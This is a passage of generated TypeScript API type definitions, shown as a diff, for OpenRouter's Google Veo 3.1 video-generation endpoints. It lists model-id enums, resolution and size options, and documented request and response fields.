'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosGoogleVeo31FastRequestModelEnumKey = + (typeof openrouterPostVideosGoogleVeo31FastRequestModelEnum)[keyof typeof openrouterPostVideosGoogleVeo31FastRequestModelEnum] + +export const openrouterPostVideosGoogleVeo31FastRequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '4K': '4K', +} as const + +export type OpenrouterPostVideosGoogleVeo31FastRequestResolutionEnumKey = + (typeof openrouterPostVideosGoogleVeo31FastRequestResolutionEnum)[keyof typeof openrouterPostVideosGoogleVeo31FastRequestResolutionEnum] + +export const openrouterPostVideosGoogleVeo31FastRequestSizeEnum = { + '1280x720': '1280x720', + '1080x1920': '1080x1920', + '1920x1080': '1920x1080', + '720x1280': '720x1280', + '3840x2160': '3840x2160', + '2160x3840': '2160x3840', +} as const + +export type OpenrouterPostVideosGoogleVeo31FastRequestSizeEnumKey = + (typeof openrouterPostVideosGoogleVeo31FastRequestSizeEnum)[keyof typeof openrouterPostVideosGoogleVeo31FastRequestSizeEnum] + +/** + * @description Google: Veo 3.1 Fast (google/veo-3.1-fast) — model-constrained video generation request. Google's mid-tier video generation model balancing speed and quality. Veo 3.1 Fast generates high-quality video from text or image prompts with native synchronized audio, offering faster turnaround than Veo 3.1... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosGoogleVeo31FastBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosGoogleVeo31FastRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosGoogleVeo31FastRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosGoogleVeo31FastRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: personGeneration, aspectRatio, negativePrompt, conditioningScale, enhancePrompt. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosGoogleVeo31FastRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosGoogleVeo31FastRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosGoogleVeo31FastOptions = { + body: OpenrouterPostVideosGoogleVeo31FastBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosGoogleVeo31FastResponses = { + '200': OpenrouterPostVideosGoogleVeo31FastStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosGoogleVeo31FastResponse = + OpenrouterPostVideosGoogleVeo31FastStatus200 + +export const openrouterPostVideosGoogleVeo31LiteStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosGoogleVeo31LiteStatus200StatusEnumKey = + (typeof openrouterPostVideosGoogleVeo31LiteStatus200StatusEnum)[keyof typeof openrouterPostVideosGoogleVeo31LiteStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosGoogleVeo31LiteStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosGoogleVeo31LiteStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosGoogleVeo31LiteRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosGoogleVeo31LiteRequestAspectRatioEnumKey = + (typeof openrouterPostVideosGoogleVeo31LiteRequestAspectRatioEnum)[keyof typeof openrouterPostVideosGoogleVeo31LiteRequestAspectRatioEnum] + +export const openrouterPostVideosGoogleVeo31LiteRequestDurationEnum = { + '8': 8, + '4': 4, + '6': 6, +} as const + +export type OpenrouterPostVideosGoogleVeo31LiteRequestDurationEnumKey = + (typeof openrouterPostVideosGoogleVeo31LiteRequestDurationEnum)[keyof typeof openrouterPostVideosGoogleVeo31LiteRequestDurationEnum] + +export const openrouterPostVideosGoogleVeo31LiteRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 